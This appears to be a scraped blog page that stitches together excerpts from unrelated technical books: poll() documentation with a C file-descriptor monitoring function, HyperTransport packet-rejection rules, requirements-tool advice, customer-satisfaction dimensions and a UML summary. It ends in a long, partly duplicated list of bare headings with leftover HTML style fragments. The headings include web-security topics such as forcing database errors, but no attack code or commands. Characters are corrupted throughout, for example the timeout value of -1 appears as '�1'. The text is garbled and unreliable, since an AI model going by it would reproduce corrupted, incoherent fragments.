The poll function takes three parameters: fds, nfds and timeout. The fds is an array of struct pollfd, representing the monitoring information for the file descriptors. The nfds parameter gives the number of descriptors to be monitored. The timeout value is the time in milliseconds that the poll should wait without receiving an event before returning. If the timeout value is �1, poll never times out. If integers are 32 bits, the maximum timeout period is about 30 minutes.


SYNOPSIS

  #include <poll.h>

  int poll(struct pollfd fds[], nfds_t nfds, int timeout);
                                                                      POSIX:XSI

The poll function returns 0 if it times out. If successful, poll returns the number of descriptors that have events. If unsuccessful, poll returns �1 and sets errno. The following table lists the mandatory errors for poll.

`errno`	cause
`EAGAIN`	allocation of internal data structures failed, but a subsequent request may succeed
`EINTR`	a signal was caught during `poll`
`EINVAL`	`nfds` is greater than `OPEN_MAX`

The struct pollfd structure includes the following members.


int fd;         /* file descriptor */
short events;   /* requested events */
short revents;  /* returned events */

The fd is the file descriptor number, and the events and revents are constructed by taking the logical OR of flags representing the various events listed in Table 4.2. Set events to contain the events to monitor; poll fills in the revents with the events that have occurred. The poll function sets the POLLHUP, POLLERR and POLLNVAL flags in revents to reflect the existence of the associated conditions. You do not need to set the corresponding bits in events for these. If fd is less than zero, the events field is ignored and revents is set to zero. The standard does not specify how end-of-file is to be handled. End-of-file can either be communicated by an revents flag of POLLHUP or a normal read of 0 bytes. It is possible for POLLHUP to be set even if POLLIN or POLLRDNORM indicates that there is still data to read. Therefore, normal reading should be handled before error checking.

Table 4.2. Values of the event flags for the `poll` function.
event flag	meaning
`POLLIN`	read other than high priority data without blocking
`POLLRDNORM`	read normal data without blocking
`POLLRDBAND`	read priority data without blocking
`POLLPRI`	read high-priority data without blocking
`POLLOUT`	write normal data without blocking
`POLLWRNORM`	same as `POLLOUT`
`POLLERR`	error occurred on the descriptor
`POLLHUP`	device has been disconnected
`POLLNVAL`	file descriptor invalid

Program 4.17 implements a function to process commands from multiple file descriptors by using the poll function. Compare the implementation with that of Program 4.14. The select call modifies the file descriptor sets that are passed to it, and the program must reset these descriptor sets each time it calls select. The poll function uses separate variables for input and return values, so it is not necessary to reset the list of monitored descriptors after each call to poll. The poll function has a number of advantages. The masks do not need to be reset after each call. Unlike select, the poll function treats errors as events that cause poll to return. The timeout parameter is easier to use, although its range is limited. Finally, poll does not need a max_fd argument.

Program 4.17 `monitorpoll.c`

A function to monitor an array of file descriptors by using poll.


#include <errno.h>
#include <poll.h>
#include <stdlib.h>
#include <stropts.h>
#include <unistd.h>
#include "restart.h"
#define BUFSIZE 1024

void docommand(char *, int);

void monitorpoll(int fd[], int numfds)  {
   char buf[BUFSIZE];
   int bytesread;
   int i;
   int numnow = 0;
   int numready;
   struct pollfd *pollfd;

   for (i=0; i< numfds; i++)             /* initialize the polling structure */
      if (fd[i] >= 0)
          numnow++;
   if ((pollfd = (void *)calloc(numfds, sizeof(struct pollfd))) == NULL)
      return;
   for (i = 0; i < numfds; i++) {
      (pollfd + i)->fd = *(fd + i);
      (pollfd + i)->events = POLLRDNORM;
   }
   while (numnow > 0) {        /* Continue monitoring until descriptors done */
      numready = poll(pollfd, numfds, -1);
      if ((numready == -1) && (errno == EINTR))
         continue;                /* poll interrupted by a signal, try again */
      else if (numready == -1)            /* real poll error, can't continue */
         break;
      for (i = 0; i < numfds && numready > 0; i++)  {
         if ((pollfd + i)->revents) {
            if ((pollfd + i)->revents & (POLLRDNORM | POLLIN) ) {
               bytesread = r_read(fd[i], buf, BUFSIZE);
               numready--;
               if (bytesread > 0)
                  docommand(buf, bytesread);
               else
                  bytesread = -1;                             /* end of file */
            } else if ((pollfd + i)->revents & (POLLERR | POLLHUP))
               bytesread = -1;
            else                    /* descriptor not involved in this round */
               bytesread = 0;
            if (bytesread == -1) {      /* error occurred, remove descriptor */
               r_close(fd[i]);
               (pollfd + i)->fd = -1;
               numnow--;
            }
         }
      }
   }
   for (i = 0; i < numfds; i++)
       r_close(fd[i]);
   free(pollfd);
}

[ Team LiB ]

Rejecting Packets

2009-11-13T07:49:00.023-08:00

[ Team LiB ]

Rejecting Packets

Once system initialization is complete, packet rejection should be a rare event. The only non-error rejection after initialization would be the arrival of a broadcast message which is intended to travel to the end of the chain and then be dropped by the end-of-chain device. Prior to the completion of system initialization, other devices may have not completed link initialization (Link Initialization bit is clear). If they have not been programmed to hold incoming packets pending completion of initialization (Drop on Uninitialized Link bit is set), they will behave as an end-of-chain device and reject packets temporarily.

Actions taken when a packet is rejected by an end-of-chain device, or by an interior device which has not completed initialization and is behaving temporarily as one, depends on the type of packet.

Rules For Rejection

Broadcast requests which have completed the trip to the end of a chain are silently dropped. These are always posted, so no response is expected or sent.

Non-posted downstream directed requests (UnitID = 0) cause the return of a Target Done response (for non-posted writes or Flush) or a Data Response (for reads or Atomic RMW). The response for rejected non-posted downstream requests will have the Error and NXA error bits set, and the bridge bit clear. The UnitID field will be set to either 0 or that of the end-of-chain device. Read responses are accompanied by all requested data (driven to value of FFh)

Non-Posted upstream directed requests (non-zero UnitID) cause the return of a Target Done response (for non-posted writes or Flush) or a Data Response (for reads or Atomic RMW). The response for rejected non-posted upstream requests will have the Error and NXA error bits set, and the bridge bit set. The UnitID field must be set to that of the original requester (without its UnitID and the bridge bit set in the response, an interior node won't accept the response). Read responses are accompanied by all requested data (driven to value of FFh)

Rejected response and posted request packets are dropped.

[ Team LiB ]

Take Advantage of Tool Features

2009-11-13T07:49:00.021-08:00

Take Advantage of Tool Features

I know of one organization that exported all the
requirements for a huge five-year project from their specification
documents into a high-end requirements management tool. They defined
countless traceability links among the various types of requirements
stored in the tool. The only
thing they did with all the data, though, was to generate hefty
traceability reports. As it happened, no one in the organization
actually used these reports. The analysts didn't exploit the other
features this powerful tool provided, and the developers still relied
on paper specifications as the definitive source of requirements. The
investment this organization made in acquiring, installing,
configuring, and populating its requirements management tool didn't
yield a meaningful return.

Conversely, I know of projects that stored their
requirements in a tool but didn't take advantage of any capabilities
the tool offered for managing those requirements. One of the strongest
arguments for requirements management tools is having the ability to
define traceability links. The more robust requirements management
products even allow analysts to establish such links to objects stored
in other tools, such as to design elements stored in a modeling tool,
code segments in a version control tool, and tests in a test management
tool. If you don't use the traceability feature, the value of keeping
the requirements in a database is diminished.

The tools also let you define groups and individuals
with different permission levels to identify who can read, create, and
modify the contents of the database. Access controls are an important
consideration for companies that have employees in multiple countries.
These companies must be careful not to inappropriately expose sensitive
technology and data to individuals who do not have the right to see
that information. In contrast, information contained in a written
document is visible to any reader. Take advantage of these tool
capabilities to ensure that all the right people—and only the right
people—can access your project's requirements.

Requirements management tools make managing
requirements easier, but not easy. Before you invest in such a tool,
define your own requirements for it so that your team will select a
product that's a good match for its needs. See Chapter 21 of Software Requirements, Second Edition
for guidance on developing a tool selection process. Don't get caught
in the shelfware trap when you look into requirements management tools.

14.3 Satisfaction with Company

2009-11-13T07:49:00.019-08:00

I l@ve RuBoard

14.3 Satisfaction with Company

Thus far our discussion on customer satisfaction has been product oriented�satisfaction with the overall software and with specific attributes. A broader scope of the subject deals with customers' overall satisfaction with the company. This broad definition of customer satisfaction includes a spectrum of variables in addition to the quality of the products. For instance, in their study of the customers' view model with regard to IBM Rochester, Hoisington and associates (Hoisington et al., 1993; Naumann and Hoisington, 2001) found that customers' overall satisfaction and loyalty is attributed to a set of common attributes of the company (as perceived by the customers) and satisfaction levels with specific dimensions of the entire company. The common attributes include ease of doing business with, partnership, responsiveness, knowledge of customer's business, and the company's being customer driven. The key dimensions of satisfaction about the company include technical solutions, support and service, marketing, administration, delivery, and company image. The dimension of technical solutions includes product quality attributes. In the following, we list several attributes under each dimension:

Technical solutions:
quality/reliability, availability, ease of use, pricing, installation, new technology

Support and service:
flexible, accessible, product knowledge

Marketing:
solution, central point of contact, information

Administration:
purchasing procedure, billing procedure, warranty expiration notification

Delivery:
on time, accurate, postdelivery process

Company image:
technology leader, financial stability, executives image

It is remarkable that in Hoisington's customer view model, company image is one of the dimensions of customer satisfaction. Whether this finding holds true in other cases remains to be seen. However, this finding illustrates the importance of both a company's actual performance and how it is perceived with regard to customer satisfaction.

It is apparent that customer satisfaction at both the company level and the product level needs to be analyzed and managed. Knowledge about the former enables a company to take a comprehensive approach to total quality management; knowledge about the latter provides specific clues for product improvements.

Yet another type of analysis centers on why customers choose a company's products over other companies', and vice versa. This kind of analysis requires information that is not available from regular customer satisfaction surveys, be they product level or company level. It requires data about customers' decision making for purchases and requires responses from those who are not the company's current customers as well as those who are. This type of analysis, albeit difficult to conduct, is worthwhile because it deals directly with the issue of gaining new customers to expand the customer base.

I l@ve RuBoard

Summary

2009-11-13T07:49:00.017-08:00

Chapter 1 -
Review of UML

byAndrew Filevet al.?


	Team FLY

Summary

In this chapter we've introduced the Unified Modeling Language in terms of what it is (an analysis / design notation) and what it is not (a software development process). We said that the notation represents a synthesis of three predecessor methods - Object Modeling Technique (OMT), the Booch Method, and Object-Oriented Software Engineering (OOSE) - with contributions from some others.

In terms of why you might use UML at all, we offer four main reasons:

Establishing a blueprint from the application

Estimating and planning the time and materials

Communicating between teams, and within the team

Documenting the project

The remainder of the chapter was divided into two main sections, End-to-End UML Modeling dealing with the UML notation and Process Essentials dealing with the companion process(es). Let's now review the modeling and process sections.

Modeling Summary

In this section, we looked at seven UML diagram types:

Activity diagrams

Use Case diagrams

Sequence diagrams

Collaboration diagrams

Statechart diagrams

Component diagrams

Deployment diagrams

Each kind of diagram was annotated with the UML metatypes such as actor, use case, class, dependency, association, and so on.

Each diagram represented a different view of exactly the same application, so that you could relate the diagrams to each other with the help of the What this diagram shows sections. We consider the relationships between the diagrams to be so important - and all too often ignored - that we placed further emphasis on this point in the Fitting the Pieces into the UML Jigsaw section.

Finally, we suggested that you will almost certainly be doing UML modeling with a dedicated modeling tool, and that doesn't just mean a good drawing tool. Visio for Enterprise Architects represents such a modeling tool, no longer just a drawing tool, that we set out as the preferred tool on which the rest of this book has been based.

In the main, Visio terminology has been used in this chapter so as to avoid confusion when you come to use the tool. Other modeling tools may use slightly different terminology and, in fact, the UML terms themselves have changed slightly over the years. To help with the transition to - or from - other books and tools, here is a summary of this chapter's Visio UML terms and the alternative terminology that you may encounter:

Visio Terminology	Other Terminologies
Static Structure Diagram	Class Diagram
Package	Category
<<uses>>	<<import>>
State	Activity (on Activity Diagram), State (on Statechart)
Statechart Diagram	State Transition Diagram
Transition (fork)	Synchronization (start)
Transition (join)	Synchronization (end)

Process Summary

As to which software development process you should adopt, two were picked out two for discussion. The Unified Process, because it's the natural companion for the Unified Modeling Language, and the Microsoft Solutions Framework, because it's the Microsoft process offering. What these have in common with each other - and with other good object oriented software processes, such as the Select Perspective - is that they are:

Iterative and incremental

Use-case driven

Focused on Risk Management

You also have a choice of eXtreme Programming, traditional waterfall, or RAD, and as the UML notation is independent of the process, ultimately the choice is yours.

In the next chapter, to complete our foundations for working with Visio for Enterprise Architects, we'll take a tour of the Visio environment and look at some of the available diagram features relevant to the software developer.


	Team FLY

Programming Documents

19.6 Lockset Analysis

19.6 Lockset Analysis

Tests Passing; Solution Doesn't Work

Tests Passing; Solution Doesn't Work

High Bug Find Rate

Figure 9.15.

On the Quality Indicators chart, the test pass rate is high, but active bugs are also high.

Figure 9.16.

Correspondingly, on the Bug Rates chart, active bugs are high because find rate stays high.

Figure 9.17.

Tests aren't finding the bugs. On this report, many of the bugs found have no corresponding test. This might be a sign that testing is looking elsewhere. And, if you are expecting regression testing to prevent their undiscovered recurrence, you will need regression tests that you don't have yet.

Tests Are Stale

Figure 9.18.

Identifying Database Servers

IdentifyingDatabase Servers

style='font-size:10.5pt;font-family:Arial'>Figure 6-11. Forcing a databaseerror with PHP

style='font-size:10.5pt;font-family:Arial'>Figure 6-12. Forcing a databaseerror with ColdFusion

Chapter 8. Bottlenecks

Chapter 8. Bottlenecks

Have We Tested the Changes?

Have We Tested the Changes?

Figure 7.13.

One of the many purposes of the daily build report is to focus testing activity on the newly built functionality. This list of work items resolved in the build is like an automatic release note, showing what new functionality needs to be tested.

How Fool's Gold Pans Out

How Fool's Gold Pans Out

Defining the Process Domain

Defining the Process Domain

Figure 5-3. Step 1�Identify the Product Domain Type

Figure 5-4. Step 2�Identify Critical Product Components

Figure 5-5. Step 3�Link Product Domains with Components

Figure 5-6. Software Development Life Cycle

Figure 5-7. Software Product Life Cycle

Figure 5-8. Software Product and Development Life Cycles

Section 8.6. The Mach VM User-Space Interface

8.6. The Mach VM User-Space Interface

8.6.1. mach_vm_map()

Caveat Regarding Offsets and Sizes

8.6.2. mach_vm_remap()

8.6.3. mach_vm_allocate()

8.6.4. mach_vm_deallocate()

8.6.5. mach_vm_protect()

8.6.6. mach_vm_inherit()

8.6.7. mach_vm_read()

8.6.8. mach_vm_write()

8.6.9. mach_vm_copy()

Comparing Mach VM Routines with Mach IPC Routines for Memory Transfer

8.6.10. mach_vm_wire()

8.6.11. mach_vm_behavior_set()

8.6.12. mach_vm_msync()

Precious Pages

8.6.13. Statistics

Section 2: Word Families

Section 2: Word Families

WHAT DO YOU KNOW?

Step 1: Crawling the Web Site

Step 1: Crawling the WebSite

Crawlinga Site Manually

ACloser Look at the HTTP Response Header

SomePopular Tools for Site Linkage Analysis

GNUwget

BlackWidowfrom SoftByteLabs

style='font-size:10.5pt;font-family:Arial'>Figure 8-2. Blackwidow crawling onesite with multiple threads

style='font-size:10.5pt;font-family:Arial'>Figure 8-3. Structure ofhttp://www.acme.com/

FunnelWeb Profiler from Quest Software

style='font-size:10.5pt;font-family:Arial'>Figure 8-4. Funnel Web Profiler,showing scan statistics for style='color:#003399'>http://www.foundstone.com/

style='font-size:10.5pt;font-family:Arial'>Figure 8-5. Funnel Web Profiler'sWeb map for style='color:#003399'>http://www.foundstone.com/

style='font-size:10.5pt;font-family:Arial'>Figure 8-6. List view of Webresources on style='color:#003399'>http://www.foundstone.com/

Step-1Wrap-Up

style='font-size:16.5pt;font-family:Arial'>Crawlers and Redirection

Redirection by Content-Location

Redirection by HTTP-EQUIV

33.4. Intellectual Honesty

33.4. Intellectual Honesty

Overriding Methods

Overriding Methods

Example 7-4. Overriding methods, phpoverride.php

Figure 7-4. Overriding methods.

Principles and Practices

Principles and Practices

Identifying
Database Servers

style='font-size:10.5pt;font-family:Arial'>Figure 6-11. Forcing a database
error with PHP

style='font-size:10.5pt;font-family:Arial'>Figure 6-12. Forcing a database
error with ColdFusion

8.6.1. `mach_vm_map()`

8.6.2. `mach_vm_remap()`

8.6.3. `mach_vm_allocate()`

8.6.4. `mach_vm_deallocate()`

8.6.5. `mach_vm_protect()`

8.6.6. `mach_vm_inherit()`

8.6.7. `mach_vm_read()`

8.6.8. `mach_vm_write()`

8.6.9. `mach_vm_copy()`

8.6.10. `mach_vm_wire()`

8.6.11. `mach_vm_behavior_set()`

8.6.12. `mach_vm_msync()`

Step 1: Crawling the Web
Site

Crawling
a Site Manually

A
Closer Look at the HTTP Response Header

Some
Popular Tools for Site Linkage Analysis

GNU
wget

BlackWidow
from SoftByteLabs

style='font-size:10.5pt;font-family:Arial'>Figure 8-2. Blackwidow crawling one
site with multiple threads

style='font-size:10.5pt;font-family:Arial'>Figure 8-3. Structure of
http://www.acme.com/

Funnel
Web Profiler from Quest Software

style='font-size:10.5pt;font-family:Arial'>Figure 8-4. Funnel Web Profiler,
showing scan statistics for style='color:#003399'>http://www.foundstone.com/

style='font-size:10.5pt;font-family:Arial'>Figure 8-5. Funnel Web Profiler's
Web map for style='color:#003399'>http://www.foundstone.com/

style='font-size:10.5pt;font-family:Arial'>Figure 8-6. List view of Web
resources on style='color:#003399'>http://www.foundstone.com/

Step-1
Wrap-Up

6.4
Using Threads in GUI Applications

15.4. `svnversion`